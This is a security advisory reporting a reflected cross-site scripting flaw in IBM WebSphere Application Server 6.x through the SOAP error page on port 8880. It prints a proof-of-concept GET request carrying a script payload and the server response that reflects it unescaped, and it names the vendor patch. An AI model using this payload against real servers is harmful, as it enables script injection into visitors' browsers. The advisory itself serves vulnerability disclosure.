IBMWAS-XSS.txt

`Title: Cross Site Scripting (XSS) Vulnerability in IBM WebSphere   
Application Server  
  
ProCheckUp Security Bulletin  
  
Description: IBM WebSphere Application Server is vulnerable to Cross   
Site Scripting through a 'faultfactor' tag in the 500 Internal Server   
Error page on port 8880 (default SOAP port).  
  
Date found: 2005-02-27  
  
Vulnerable: This has been tested on WebSphere Application Server version   
6.x. Other versions may be vulnerable but this has not been verified.  
  
Severity: Medium  
  
Author: Nuri Fattah [[email protected]]  
  
Vendor Status:  
  
CVE Candidate: Not Assigned  
  
Description:  
  
WebSphere Application Server is vulnerable to a Cross Site Scripting   
attack through the Internal Server Error page used on port 8880 of the   
default WebSphere installation. This may allow the execution of   
malicious script code in the browser of an individual who clicks on a   
link to a site using the vulnerable version of WebSphere.  
  
Information:  
  
REQUEST:  
  
GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1  
Host: 192.168.1.195:8880  
Connection: close  
  
  
RESULTS:  
  
HTTP/1.1 500 Internal Server Error  
Server: WebSphere Application Server/6.0  
Content-Type: text/xml; charset=utf-8  
Content-Length: 3013  
Connection: close  
  
<?xml version='1.0' encoding='UTF-8'?>  
<SOAP-ENV:Envelope   
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"   
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1"   
ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">  
</SOAP-ENV:Header>  
<SOAP-ENV:Body>  
<SOAP-ENV:Fault>  
  
[output omitted]  
  
<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>  
</SOAP-ENV:Fault>  
  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>  
  
Consequences:  
  
An attacker could cause the execution of malicious script code in the   
client of an individual who clicks on a link to a site using the   
vulnerable version of WebSphere Application Server.   
  
Fix: IBM has released patches to address this issue. They have tracked   
this vulnerability as APAR PK16602.  
  
References: http://www.niscc.gov.uk/niscc/docs/re-20061031-00727.pdf?lang=en  
  
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